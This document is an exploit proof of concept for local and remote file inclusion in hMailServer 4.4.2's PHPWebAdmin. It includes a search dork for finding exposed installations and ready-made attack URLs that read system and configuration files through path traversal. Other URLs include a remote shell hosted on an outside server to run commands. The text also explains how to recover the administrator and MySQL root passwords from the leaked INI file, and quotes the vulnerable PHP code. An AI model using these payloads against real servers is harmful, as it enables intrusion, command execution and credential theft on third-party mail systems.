hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion
hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion poc
by Nine:Situations:Group::strawdog
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our site: http://retrogod.altervista.org
software site: http://www.hmailserver.com/
description: http://en.wikipedia.org/wiki/HMailServer
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google dork: "PHPWebAdmin for hMailServer" intitle:PHPWebAdmin
-site:hmailserver.com -dork
poc:
regardless of register_globals & magic_quotes_gpc:
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../../boot.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../Bin/hMailServer.INI%00
http://hostname/path_to_webadmin/index.php?page=background/../../MySQL/my.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../..
/../Program+Files/hmailserver/Bin/hmailserver.ini%00
with register_globals = on:
(prepare a functions.php folder on somehost.com with an index.html with your
shell inside on
a php enabled server,
otherwise a functions.php shell on a php disabled one)
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/&cmd=dir
with register_globals = on & magic_quotes_gpc = off :
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\boot.ini%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/shell.txt%00&cmd=dir
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\Program+Files\hMailServer\Bin\hMailServer.INI%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=../Bin/hMailServer.INI%00
"Bin" folder can be found in a different location, disclose the path by simply
calling:
http://hostname/path_to_webadmin/initialize.php
interesting file:
hMailServer.INI - contains two interesting fields:
- the "Administrator password" crypted with md5,
- by having knowledge of that you can calculate the MySQL root password,
specified in the "password" field.
You can do this by using the /Addons/Utilities/DecryptBlowfish.vbs script
(*)
vulnerable code, index.php:
<?php
error_reporting(E_ALL);
if (!file_exists("config.php"))
{
echo "Please rename config-dist.php to config.php. The file is found in
the
PHPWebAdmin root folder.";
die;
}
require_once("config.php");
require_once("initialize.php");
set_error_handler("ErrorHandler");
if (is_php5())
set_exception_handler("ExceptionHandler");
$page = hmailGetVar("page");
if ($page == "")
$page = "frontpage";
$isbackground = (substr($page, 0,10) == "background");
if ($isbackground)
$page = "$page.php";
else
$page = "hm_$page.php";
// Check that the page really exists.
$page = stripslashes($page);
if (!file_exists($page))
hmailHackingAttemp();
// If it's a background page, run here.
if ($isbackground)
{
include $page; //<------------------------------------------ !!!
// Page is run, die now.
die;
}
..
for clearness, here it is hmailGetVar() function in /include/functions.php:
..
function hmailGetVar($p_varname, $p_defaultvalue = null)
{
$retval = $p_defaultvalue;
if(isset($_GET[$p_varname]))
{
$retval = $_GET[$p_varname];
}
else if (isset($_POST[$p_varname]))
{
$retval = $_POST[$p_varname];
}
else if (isset($_REQUEST[$p_varname]))
{
$retval = $_REQUEST[$p_varname];
}
if (get_magic_quotes_gpc())
$retval = stripslashes($retval);
return $retval;
}
..
so the "page" argument can be passed by $_GET[], $_POST[] or $_COOKIE[] arrays.
Note the stripslashes(), which disable magic_quotes_gpc on every argument
passed.
(**)
initialize.php:
..
$hmail_config['rootpath'] =
str_replace("\\","/",$hmail_config['rootpath']);
$hmail_config['includepath'] =
str_replace("\\","/",$hmail_config['includepath']);
$hmail_config['temppath'] =
str_replace("\\","/",$hmail_config['temppath']);
require_once($hmail_config['includepath'] . "functions.php");
..